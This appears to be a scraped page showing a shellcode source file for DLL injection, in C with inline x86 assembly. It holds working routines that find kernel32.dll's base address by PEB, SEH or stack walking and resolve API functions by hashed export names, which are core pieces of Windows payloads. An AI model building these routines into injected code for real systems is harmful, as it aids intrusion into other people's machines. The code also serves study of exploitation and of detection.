Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/dllinject/generic.c
Views: 11765
/*1* Overview2*3* 1) Finding kernel32.dll base address VMA4* 2) Finding functions in dynamic libraries.5*6* Method Selection7*8* To use the PEB technique : -D USE_KERNEL32_METHOD_PEB (default)9* To use the SEH technique : -D USE_KERNEL32_METHOD_SEH10* To use the TOPSTACK technique: -D USE_KERNEL32_METHOD_TOPSTACK11*12* To use Windows NT-based only : -D USE_WINNT_ONLY13* To eliminate register saves : -D DISABLE_REGISTER_SAVES14* To use inline ; -D USE_INLINE15* To resolve a singular hash : -D USE_SINGULAR_HASH16*17* Notes18*19* Each of these methods are not guaranteed to work. The PEB technique20* is definitely the most likely to work. The only time it would fail21* is if someone is intentionally trying to break shellcode that uses it22* or Microsoft changes something. The SEH is the second most likely,23* however, it will fail under scenarios where the last handler does not24* point into kernel32. The TOPSTACK technique can fail if under some25* circumstance the 0x1c offset into the stack does not contain a pointer26* into kernel32. I know of no scenarios where this happens, but it is,27* in theory, possible. Lastly, both the SEH and TOPSTACK methods will28* fail if the characters 'MZ' exist at the base of a 64k aligned page29* boundary that does not actually denote the base of the image.30*31* Optimizations32*33* These functions preserve registers as much as possible so that they34* can be plugged in easily. If you need to reduce the size you can35* remove some of the register saving instructions. In some cases this36* can save as many as 4 bytes.37*38* Credits39*40* 1) Dino Dai Zovi's PEB resolution and function resolution techniques41* 2) Skywing@freenode and vizzini@freenode for ideas and optimizations42* on the SEH technique43* 3) optyx for optimizing with me on the top stack technique44*45* This file is generally meant to be included in other files.46*47* skape48* [email protected]49*/5051#ifdef DEBUG52int main()53{54#endif5556#ifdef USE_ASM_BLOCK57__asm58{59#endif6061#if defined(USE_KERNEL32_METHOD_SEH)6263/*64* find_kernel32 -- SEH65*66* size : 33 bytes67* method : Walk the list of SEH handlers until we find the last one.68* From there we walk down in 64k blocks until we hit the top of69* kernel32.70* targets : 95/98/ME/NT/2K/XP71* arguments: none72* return : eax (kernel32.dll base address)73* clobbers : eax74*/75find_kernel32:76#ifndef DISABLE_REGISTER_SAVES77push esi // Save esi78push ecx // Save ecx79#endif80xor ecx, ecx // Zero ecx81mov esi, fs:[ecx] // Snag our SEH entry82not ecx // Set ecx to 0xffffffff83find_kernel32_seh_loop:84lodsd // Load the memory in esi into eax85mov esi, eax // Use this eax as our next pointer for esi86cmp [eax], ecx // Is the next-handler set to 0xffffffff?87jne find_kernel32_seh_loop // Nope, keep going. Otherwise, fall through.88find_kernel32_seh_loop_done:89mov eax, [eax + 0x04] // Snag the function handler address in eax9091find_kernel32_base:92find_kernel32_base_loop:93dec eax // Subtract to our next page94xor ax, ax // Zero the lower half95cmp word ptr [eax], 0x5a4d // Is this the top of kernel32?96jne find_kernel32_base_loop // Nope? Try again.97find_kernel32_base_finished:98#ifndef DISABLE_REGISTER_SAVES99pop ecx // Restore ecx100pop esi // Restore esi101#endif102#ifndef USE_INLINE103ret // Return104#endif105106#elif defined(USE_KERNEL32_METHOD_TOPSTACK)107108/*109* find_kernel32 -- top stack110*111* size : 25 bytes112* method : Extract the top of the stack from the TEB.113* 0x1c bytes into the stack should hold a vma114* that is inside kernel32.dll. Grab it and115* walk down in 64k chunks until we hit the top116* of kernel32.dll.117* targets : NT/2K/XP118* arguments: none119* return : eax (kernel32.dll base address)120* clobbers : eax121*/122find_kernel32:123#ifndef DISABLE_REGISTER_SAVES124push esi // Save esi125#endif126xor esi, esi // Zero esi127mov esi, fs:[esi + 0x18] // Extract TEB128lodsd // Grab a pointer we don't need129lodsd // Grab the top of the stack for this thread130mov eax, [eax - 0x1c] // Snag a function pointer that's 0x1c bytes into the stack131132find_kernel32_base:133find_kernel32_base_loop:134dec eax // Subtract to our next page135xor ax, ax // Zero the lower half136cmp word ptr [eax], 0x5a4d // Is this the top of kernel32?137jne find_kernel32_base_loop // Nope? Try again.138find_kernel32_base_finished:139#ifndef DISABLE_REGISTER_SAVES140pop esi // Restore esi141#endif142#ifndef USE_INLINE143ret // Return144#endif145146#else // Default method147148/*149* find_kernel32 -- PEB150*151* size : 34 bytes152* method : Lookup the PEB and walk one node back in the loaded153* module list. Extract the base address from this entry.154* It should point to kernel32.dll.155* targets : 95/98/ME/NT/2K/XP156* arguments: none157* return : eax (kernel32.dll base address)158* clobbers : eax159*/160find_kernel32:161#ifndef DISABLE_REGISTER_SAVES162push esi // Save esi163#endif164xor eax, eax165mov eax, fs:[eax+0x30] // Extract the PEB166#ifndef USE_WINNT_ONLY167test eax, eax // Check for Windows 9x168js find_kernel32_9x // If signed short, jump to windows 9x lookup169#endif170find_kernel32_nt:171mov eax, [eax + 0x0c] // Extract the PROCESS_MODULE_INFO pointer from the PEB172mov esi, [eax + 0x1c] // Get the address of flink in the init module list173lodsd // Load the address of blink into eax174mov eax, [eax + 0x8] // Grab the module base address from the list entry175#ifndef USE_WINNT_ONLY176jmp find_kernel32_finished // Fall down to the bottom177find_kernel32_9x:178mov eax, [eax + 0x34] // Undocumented offset (0x34)179lea eax, [eax + 0x7c] // Load the address of eax+0x7c to keep us in signed byte range180mov eax, [eax + 0x3c] // Undocumented offset (0xb8)181find_kernel32_finished:182#endif183#ifndef DISABLE_REGISTER_SAVES184pop esi // Restore esi185#endif186#ifndef USE_INLINE187ret // Return188#endif189190#endif191192/*193* find_function194*195* method : Walks the export list of the given image196* until it finds a symbol whose hashed name197* matches the one that was passed in.198* targets : 95/98/ME/NT/2K/XP199* arguments: [esp + 0x24] (library base address)200* [esp + 0x28] (function hash)201* return : eax (resultant function address)202* clobbers : eax203*/204find_function:205#ifndef DISABLE_REGISTER_SAVES206pushad // Save all registers207#ifdef USE_INLINE208mov ebp, eax // Take the base address of kernel32 and put it in ebp209#else210mov ebp, [esp + 0x24] // Store the base address in eax211#endif212#else213#ifdef USE_INLINE214mov ebp, eax // Take the base address of kernel32 and put it in ebp215#else216mov ebp, [esp + 0x4] // Store the base address in eax if non-inline217#endif218#endif219mov eax, [ebp + 0x3c] // PE header VMA220mov edx, [ebp + eax + 0x78] // Export table relative offset221add edx, ebp // Export table VMA222mov ecx, [edx + 0x18] // Number of names223mov ebx, [edx + 0x20] // Names table relative offset224add ebx, ebp // Names table VMA225find_function_loop:226jecxz find_function_finished // Jump to the end if ecx is 0227dec ecx // Decrement our names counter228mov esi, [ebx + ecx * 4] // Store the relative offset of the name229add esi, ebp // Set esi to the VMA of the current name230compute_hash:231xor edi, edi // Zero edi232xor eax, eax // Zero eax233cld // Clear direction234compute_hash_again:235lodsb // Load the next byte from esi into al236test al, al // Test ourselves.237jz compute_hash_finished // If the ZF is set, we've hit the null term.238ror edi, 0xd // Rotate edi 13 bits to the right239add edi, eax // Add the new byte to the accumulator240jmp compute_hash_again // Next iteration241compute_hash_finished:242find_function_compare:243#ifdef USE_INLINE244#ifdef USE_SINGULAR_HASH245cmp edi, USE_SINGULAR_HASH // Compare it to a specific hash246#else247cmp edi, [esp + 0x8] // Compare the computed hash with the requested hash248#endif249#else250#ifdef USE_SINGULAR_HASH251cmp edi, USE_SINGULAR_HASH // Compare it to a specific hash252#else253cmp edi, [esp + 0x28] // Compare the computed hash with the requested hash254#endif255#endif256jnz find_function_loop // No match, try the next one.257mov ebx, [edx + 0x24] // Ordinals table relative offset258add ebx, ebp // Ordinals table VMA259mov cx, [ebx + 2 * ecx] // Extrapolate the function's ordinal260mov ebx, [edx + 0x1c] // Address table relative offset261add ebx, ebp // Address table VMA262mov eax, [ebx + 4 * ecx] // Extract the relative function offset from its ordinal263add eax, ebp // Function VMA264#ifndef DISABLE_REGISTER_SAVES265mov [esp + 0x1c], eax // Overwrite stack version of eax from pushad266find_function_finished:267popad // Restore all registers268#else269find_function_finished:270#endif271#ifndef USE_INLINE272ret // Return273#endif274275#ifdef USE_ASM_BLOCK276}277#endif278279#ifdef DEBUG280}281#endif282283284